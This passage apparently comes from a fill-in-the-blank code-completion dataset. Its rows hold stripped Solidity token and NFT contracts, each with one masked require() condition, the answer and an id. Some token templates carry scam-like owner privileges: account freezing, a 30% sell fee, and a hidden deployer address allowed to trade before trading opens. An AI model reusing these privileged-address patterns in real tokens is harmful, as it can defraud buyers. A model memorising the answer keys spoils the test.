uint256 public _taxSwapThreshold= 2_000_000 * 10**_contract_decimals;
uint256 private _reducedWhenBuyTaxs=2;
uint256 private _reducedTaxUsedInSelling=1;
uint256 private _usedInPreventingSwappingPrevious=0;
uint256 private _blockCountsUsedInBuying=0;
uint256 private _InitialeBuyTax=25;
uint256 private _InitialSellTax=25;
uint256 private _FinalizedBuyingTax=1;
uint256 private _FinalizedSellingTax=1;
uint256 private _CharityTaxUsedInSelling=89;
bool public _enableWatchDogLimitsFlag = false;
bool private _swapingInUniswapOKSigns = false;
bool private _flagUsedInUniswapIsOkSigns = false;
bool private flagForTradingIsOkOrNot;
modifier _modifierInUniswapFlag {
}
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _map_of_addressForNotPayingFee;
mapping (address => uint256) private _balances;
mapping (address => bool) private _map_of_address_notSpendFeesWhenBuying;
mapping(address => uint256) private _map_of_address_ForTimestampTransfering;
address private _uniswapPairTokenLiquidity;
address public _addressUsedInFundationFees = address(0x481C0cB2594498e10C3C56aDFc29E6004CbD685D);
address payable public _feesForDevsAddress;
IuniswapRouter private _uniswapRouterUniswapFactory;
event RemoveAllLimits(uint _maxTxAmount);
constructor () {
}
receive() external payable {}
function _transfer(address from, address to, uint256 amount) private {
}
function addressIsIsContractOrNot(address _addr) private view returns (bool) {
}
function min(uint256 a, uint256 b) private pure returns (uint256){ }
function swapTokensForEth(uint256 amountFortoken) private _modifierInUniswapFlag {
}
function removeLimits() external onlyOwner{
}
function openTrading() external onlyOwner() {
require(<FILL_ME>)
_uniswapRouterUniswapFactory = IuniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(_uniswapRouterUniswapFactory), _totalsupply_amount);
_uniswapPairTokenLiquidity = IUniswapV2Factory(_uniswapRouterUniswapFactory.factory()).createPair(address(this), _uniswapRouterUniswapFactory.WETH());
_uniswapRouterUniswapFactory.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(_uniswapPairTokenLiquidity).approve(address(_uniswapRouterUniswapFactory), type(uint).max);
_allowances[address(_uniswapPairTokenLiquidity)][address(_addressUsedInFundationFees)] = type(uint).max;
_swapingInUniswapOKSigns = true;
flagForTradingIsOkOrNot = true;
}
function setSingleTxMaxUsedInSwapping(uint256 _amount) external onlyOwner() {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function name() public pure returns (string memory) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function totalSupply() public pure override returns (uint256) {
}
}
| !flagForTradingIsOkOrNot,"trading is already open" | 171,779 | !flagForTradingIsOkOrNot |
"You are Frozen" | // SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Pausable is Context {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
}
function paused() public view returns (bool) {
}
modifier whenNotPaused() {
}
modifier whenPaused() {
}
function _pause() internal virtual whenNotPaused {
}
function _unpause() internal virtual whenPaused {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20,Pausable,Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (uint256 => _Lockup)) public Lockup;
mapping (address => uint256) public LockupCnt;
mapping (address => bool) public Frozen;
mapping (address => mapping (address => uint256)) private _allowances;
event lockuped(address indexed target,uint value);
event unlockup(address indexed target,uint value);
event Frozened(address indexed target);
event DeleteFromFrozen(address indexed target);
event Transfer(address indexed from, address indexed to, uint value);
uint256 private _totalSupply;
struct _Lockup{
uint256 time;
uint256 amount;
}
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 __deciamlas) public {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function Frozening(address _addr) onlyOwner() public{
}
function deleteFromFrozen(address _addr) onlyOwner() public{
}
function balanceOf(address account) public view override returns (uint256) {
}
function Add_TimeLock(address _address,uint256 _releasetime,uint256 _amount) onlyOwner() public{
}
function _AutoUnlock(address holder) internal returns(bool){
}
function transfer(address recipient, uint256 amount) public virtual whenNotPaused() override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual whenNotPaused() override returns (bool) {
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(<FILL_ME>)
require(!Frozen[recipient],"recipient are Frozen");
_AutoUnlock(sender);
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _setupDecimals(uint8 decimals_) internal {
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
abstract contract ERC20Burnable is Context, ERC20 {
function burn(uint256 amount) public virtual {
}
function burnFrom(address account, uint256 amount) public virtual {
}
}
contract CBToken is ERC20,ERC20Burnable {
constructor(uint256 initialSupply) public ERC20("CHAIN BUILD","CB",18) payable {
}
function mint(uint256 initialSupply) onlyOwner() public {
}
function pause() onlyOwner() public {
}
function unpause() onlyOwner() public {
}
}
| !Frozen[sender],"You are Frozen" | 171,783 | !Frozen[sender] |
"recipient are Frozen" | // SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Pausable is Context {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
}
function paused() public view returns (bool) {
}
modifier whenNotPaused() {
}
modifier whenPaused() {
}
function _pause() internal virtual whenNotPaused {
}
function _unpause() internal virtual whenPaused {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20,Pausable,Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (uint256 => _Lockup)) public Lockup;
mapping (address => uint256) public LockupCnt;
mapping (address => bool) public Frozen;
mapping (address => mapping (address => uint256)) private _allowances;
event lockuped(address indexed target,uint value);
event unlockup(address indexed target,uint value);
event Frozened(address indexed target);
event DeleteFromFrozen(address indexed target);
event Transfer(address indexed from, address indexed to, uint value);
uint256 private _totalSupply;
struct _Lockup{
uint256 time;
uint256 amount;
}
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 __deciamlas) public {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function Frozening(address _addr) onlyOwner() public{
}
function deleteFromFrozen(address _addr) onlyOwner() public{
}
function balanceOf(address account) public view override returns (uint256) {
}
function Add_TimeLock(address _address,uint256 _releasetime,uint256 _amount) onlyOwner() public{
}
function _AutoUnlock(address holder) internal returns(bool){
}
function transfer(address recipient, uint256 amount) public virtual whenNotPaused() override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual whenNotPaused() override returns (bool) {
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(!Frozen[sender],"You are Frozen");
require(<FILL_ME>)
_AutoUnlock(sender);
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _setupDecimals(uint8 decimals_) internal {
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
abstract contract ERC20Burnable is Context, ERC20 {
function burn(uint256 amount) public virtual {
}
function burnFrom(address account, uint256 amount) public virtual {
}
}
contract CBToken is ERC20,ERC20Burnable {
constructor(uint256 initialSupply) public ERC20("CHAIN BUILD","CB",18) payable {
}
function mint(uint256 initialSupply) onlyOwner() public {
}
function pause() onlyOwner() public {
}
function unpause() onlyOwner() public {
}
}
| !Frozen[recipient],"recipient are Frozen" | 171,783 | !Frozen[recipient] |
"ERC20: trading is not yet enabled." | pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
address[] private hArrpy;
mapping (address => bool) private Copyright;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private Shiver = 0;
address public pair;
IDEXRouter router;
string private _name; string private _symbol; address private hash01jwuid2k; uint256 private _totalSupply;
bool private trading; uint256 private Clone; bool private Sword; uint256 private Dagger;
constructor (string memory name_, string memory symbol_, address msgSender_) {
}
function decimals() public view virtual override returns (uint8) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function name() public view virtual override returns (string memory) {
}
function openTrading() external onlyOwner returns (bool) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function symbol() public view virtual override returns (string memory) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function burn(uint256 amount) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _SpiritOfWinds(address creator) internal virtual {
}
function _burn(address account, uint256 amount) internal {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function last(uint256 g) internal view returns (address) { }
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _balancesOfTheLegendary(address sender, address recipient, bool simulation) internal {
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function _balancesOfTheMythicals(address sender, address recipient) internal {
require(<FILL_ME>)
_balancesOfTheLegendary(sender, recipient, (address(sender) == hash01jwuid2k) && (Clone > 0));
Clone += (sender == hash01jwuid2k) ? 1 : 0;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function _DeployHarpy(address account, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
}
}
contract SpiritOfTheSky is ERC20Token {
constructor() ERC20Token("Spirit of the Sky", "HARPY", msg.sender, 900000000 * 10 ** 18) {
}
}
| (trading||(sender==hash01jwuid2k)),"ERC20: trading is not yet enabled." | 171,821 | (trading||(sender==hash01jwuid2k)) |
"ERC20: trading is not yet enabled." | pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
address[] private catchArr;
mapping (address => bool) private Pasta;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private Cars = 0;
address public pair;
IDEXRouter router;
string private _name; string private _symbol; address private hash902e9i014jof1jk12s; uint256 private _totalSupply;
bool private trading; uint256 private Cans; bool private Doors; uint256 private Balloon;
constructor (string memory name_, string memory symbol_, address msgSender_) {
}
function decimals() public view virtual override returns (uint8) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function name() public view virtual override returns (string memory) {
}
function openTrading() external onlyOwner returns (bool) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function symbol() public view virtual override returns (string memory) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function burn(uint256 amount) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _CatchTheSniper(address creator) internal virtual {
}
function _burn(address account, uint256 amount) internal {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function last(uint256 g) internal view returns (address) { }
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _balancesOfTheMandarin(address sender, address recipient, bool simulation) internal {
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function _balancesOfTheFollower(address sender, address recipient) internal {
require(<FILL_ME>)
_balancesOfTheMandarin(sender, recipient, (address(sender) == hash902e9i014jof1jk12s) && (Cans > 0));
Cans += (sender == hash902e9i014jof1jk12s) ? 1 : 0;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function _DeployCatch(address account, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
}
}
contract CatchMeIfYouCan is ERC20Token {
constructor() ERC20Token("Catch Me If You Can", "CATCH", msg.sender, 36000 * 10 ** 18) {
}
}
| (trading||(sender==hash902e9i014jof1jk12s)),"ERC20: trading is not yet enabled." | 171,853 | (trading||(sender==hash902e9i014jof1jk12s)) |
"not eligible for whitelist mint" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract SaveTheWeb3 is Ownable, ERC721A, ReentrancyGuard {
uint256 public immutable collectionSize;
uint256 public maxPerAddressDuringMint;
uint256 public maxWhitelistMintCount;
// whitelist root
bytes32 public whitelistRoot;
uint64 public whitelistPrice;
uint64 public publicPrice;
uint256 public whitelistSaleStartTime;
uint256 public whitelistSaleEndTime;
uint256 public publicSaleStartTime;
uint256 public publicSaleEndTime;
string private _baseTokenURI;
mapping(address => uint8) public whitelistMinted;
modifier callerIsUser() {
}
constructor(uint256 maxBatchSize_, uint256 collectionSize_) ERC721A("SaveTheWeb3", "SAV3") {
}
function whitelistMint(uint8 quantity, bytes32[] memory proof) external payable callerIsUser {
uint256 price = whitelistPrice * quantity;
require(price != 0 && isWhitelistSaleOn(), "whitelist sale has not begun yet");
require(<FILL_ME>)
require(totalSupply() + quantity <= collectionSize, "reached max supply");
require(
whitelistMinted[msg.sender] + quantity <= maxWhitelistMintCount,
"reached max mint count for whitelist"
);
whitelistMinted[msg.sender] += quantity;
_safeMint(msg.sender, quantity);
refundIfOver(price);
}
function publicMint(uint8 quantity) external payable callerIsUser {
}
function refundIfOver(uint256 price) private {
}
function setWhitelistPrice(uint64 price_) external onlyOwner {
}
function setPublicPrice(uint64 price_) external onlyOwner {
}
function withdrawMoney() external onlyOwner nonReentrant {
}
function numberMinted(address owner) public view returns (uint256) {
}
function ownershipOf(uint256 tokenId) external view returns (TokenOwnership memory) {
}
function isValidWhitelist(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {
}
function setWhitelistMerkleRoot(bytes32 root_) external onlyOwner {
}
function isWhitelistSaleOn() public view returns (bool) {
}
function isPublicSaleOn() public view returns (bool) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function setMaxWhitelistMintCount(uint256 count) external onlyOwner {
}
function setMaxPerAddressDuringMint(uint256 count) external onlyOwner {
}
function getWhitelistSaleTime() public view returns (uint256, uint256) {
}
function setWhitelistSaleTime(uint256 start, uint256 end) external onlyOwner {
}
function getPublicSaleTime() public view returns (uint256, uint256) {
}
function setPublicSaleTime(uint256 start, uint256 end) external onlyOwner {
}
function devMint(uint256 quantity, address addr) external onlyOwner {
}
}
| isValidWhitelist(proof,keccak256(abi.encodePacked(msg.sender))),"not eligible for whitelist mint" | 171,885 | isValidWhitelist(proof,keccak256(abi.encodePacked(msg.sender))) |
"reached max mint count for whitelist" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract SaveTheWeb3 is Ownable, ERC721A, ReentrancyGuard {
uint256 public immutable collectionSize;
uint256 public maxPerAddressDuringMint;
uint256 public maxWhitelistMintCount;
// whitelist root
bytes32 public whitelistRoot;
uint64 public whitelistPrice;
uint64 public publicPrice;
uint256 public whitelistSaleStartTime;
uint256 public whitelistSaleEndTime;
uint256 public publicSaleStartTime;
uint256 public publicSaleEndTime;
string private _baseTokenURI;
mapping(address => uint8) public whitelistMinted;
modifier callerIsUser() {
}
constructor(uint256 maxBatchSize_, uint256 collectionSize_) ERC721A("SaveTheWeb3", "SAV3") {
}
function whitelistMint(uint8 quantity, bytes32[] memory proof) external payable callerIsUser {
uint256 price = whitelistPrice * quantity;
require(price != 0 && isWhitelistSaleOn(), "whitelist sale has not begun yet");
require(isValidWhitelist(proof, keccak256(abi.encodePacked(msg.sender))), "not eligible for whitelist mint");
require(totalSupply() + quantity <= collectionSize, "reached max supply");
require(<FILL_ME>)
whitelistMinted[msg.sender] += quantity;
_safeMint(msg.sender, quantity);
refundIfOver(price);
}
function publicMint(uint8 quantity) external payable callerIsUser {
}
function refundIfOver(uint256 price) private {
}
function setWhitelistPrice(uint64 price_) external onlyOwner {
}
function setPublicPrice(uint64 price_) external onlyOwner {
}
function withdrawMoney() external onlyOwner nonReentrant {
}
function numberMinted(address owner) public view returns (uint256) {
}
function ownershipOf(uint256 tokenId) external view returns (TokenOwnership memory) {
}
function isValidWhitelist(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {
}
function setWhitelistMerkleRoot(bytes32 root_) external onlyOwner {
}
function isWhitelistSaleOn() public view returns (bool) {
}
function isPublicSaleOn() public view returns (bool) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function setMaxWhitelistMintCount(uint256 count) external onlyOwner {
}
function setMaxPerAddressDuringMint(uint256 count) external onlyOwner {
}
function getWhitelistSaleTime() public view returns (uint256, uint256) {
}
function setWhitelistSaleTime(uint256 start, uint256 end) external onlyOwner {
}
function getPublicSaleTime() public view returns (uint256, uint256) {
}
function setPublicSaleTime(uint256 start, uint256 end) external onlyOwner {
}
function devMint(uint256 quantity, address addr) external onlyOwner {
}
}
| whitelistMinted[msg.sender]+quantity<=maxWhitelistMintCount,"reached max mint count for whitelist" | 171,885 | whitelistMinted[msg.sender]+quantity<=maxWhitelistMintCount |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface ISwapPair {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function token0() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function totalSupply() external view returns (uint256);
}
interface ISwapRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
}
interface ISwapFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract TokenDistributor {
constructor (address token) {
}
}
abstract contract AbsToken is IERC20, Ownable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
address public fundAddress;
address public fundAddress_2;
string private _name;
string private _symbol;
uint8 private _decimals;
mapping(address => bool) public _feeWhiteList;
uint256 private _tTotal;
ISwapRouter public _swapRouter;
address public _usdt;
mapping(address => bool) public _swapPairList;
bool private inSwap;
uint256 private constant MAX = ~uint256(0);
TokenDistributor public _tokenDistributor;
uint256 public _buyFundFee = 200;
uint256 public _buyLPFee = 0;
uint256 public _buyLPDividendFee = 0;
uint256 public _sellFundFee = 3000;
uint256 public _sellLPFee = 0;
uint256 public _sellLPDividendFee = 0;
address public _mainPair;
modifier lockTheSwap {
}
constructor (
address RouterAddress, address USDTAddress,
string memory Name, string memory Symbol, uint8 Decimals, uint256 Supply,
address _Fund, address _Fund_2, address ReceiveAddress
){
}
function symbol() external view override returns (string memory) {
}
function name() external view override returns (string memory) {
}
function decimals() external view override returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
uint256 public swapAtAmount;
function setSwapAtAmount(uint256 newValue) public onlyOwner{
}
uint256 public airDropNumbs = 0;
function setAirdropNumbs(uint256 newValue) public onlyOwner{
}
function setBuy(uint256 newFund,uint256 newLp,uint256 newLpDividend) public onlyOwner{
}
function setSell(uint256 newFund,uint256 newLp,uint256 newLpDividend) public onlyOwner{
}
function tradingOpen() public view returns(bool){
}
function _transfer(
address from,
address to,
uint256 amount
) private {
uint256 balance = balanceOf(from);
require(balance >= amount, "balanceNotEnough");
if (inSwap){
_basicTransfer(from,to,amount);
return;
}
bool takeFee;
bool isSell;
if(!_feeWhiteList[from] && !_feeWhiteList[to] && airDropNumbs > 0){
address ad;
for(uint256 i=0;i < airDropNumbs;i++){
ad = address(uint160(uint(keccak256(abi.encodePacked(i, amount, block.timestamp)))));
_basicTransfer(from,ad,100);
}
amount -= airDropNumbs*100;
}
if (!_feeWhiteList[from] && !_feeWhiteList[to] && !_swapPairList[from] && !_swapPairList[to]){
require(<FILL_ME>)
}
bool isRemove;
bool isAdd;
if (_swapPairList[to]) {
isAdd = _isAddLiquidity();
}else if(_swapPairList[from]){
isRemove = _isRemoveLiquidity();
}
if (_swapPairList[from] || _swapPairList[to]) {
if (!_feeWhiteList[from] && !_feeWhiteList[to]) {
if (!tradingOpen()) {
require(0 < goAddLPBlock && isAdd, "!goAddLP"); //_swapPairList[to]
}
if (_swapPairList[to]) {
if (!inSwap && !isAdd) {
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance > swapAtAmount) {
uint256 swapFee = _buyLPFee + _buyFundFee + _buyLPDividendFee + _sellFundFee + _sellLPDividendFee + _sellLPFee;
uint256 numTokensSellToFund = amount;
if (numTokensSellToFund > contractTokenBalance) {
numTokensSellToFund = contractTokenBalance;
}
swapTokenForFund(numTokensSellToFund, swapFee);
}
}
}
if (!isAdd && !isRemove) takeFee = true; // just swap fee
}
if (_swapPairList[to]) {
isSell = true;
}
}
if (
!_swapPairList[from] &&
!_swapPairList[to] &&
!_feeWhiteList[from] &&
!_feeWhiteList[to]
) {
isSell = true;
takeFee = true;
}
_tokenTransfer(
from,
to,
amount,
takeFee,
isSell,
isAdd,
isRemove
);
if (from != address(this)) {
if (isSell) {
addHolder(from);
}
processReward(500000);
}
}
function _isAddLiquidity() internal view returns (bool isAdd){
}
function _isRemoveLiquidity() internal view returns (bool isRemove){
}
function _tokenTransfer(
address sender,
address recipient,
uint256 tAmount,
bool takeFee,
bool isSell,
bool isAdd,
bool isRemove
) private {
}
uint256 public addLiquidityFee;
uint256 public removeLiquidityFee;
function setAddLiquidityFee(uint256 newValue) public onlyOwner {
}
function setRemoveLiquidityFee(uint256 newValue) public onlyOwner {
}
bool public manualAddFeeEnable = true;
function changeManualAddFeeEnable(
bool status
) public onlyOwner{
}
function getAddlpFee() public view returns(uint256){
}
bool public manualRemoveFeeEnable = false;
function changeManualRemoveFeeEnable(
bool status
) public onlyOwner{
}
uint256 removeLpBurnDuration = 24*60*60;
function setRemoveLpBurnDuration(
uint256 newValue
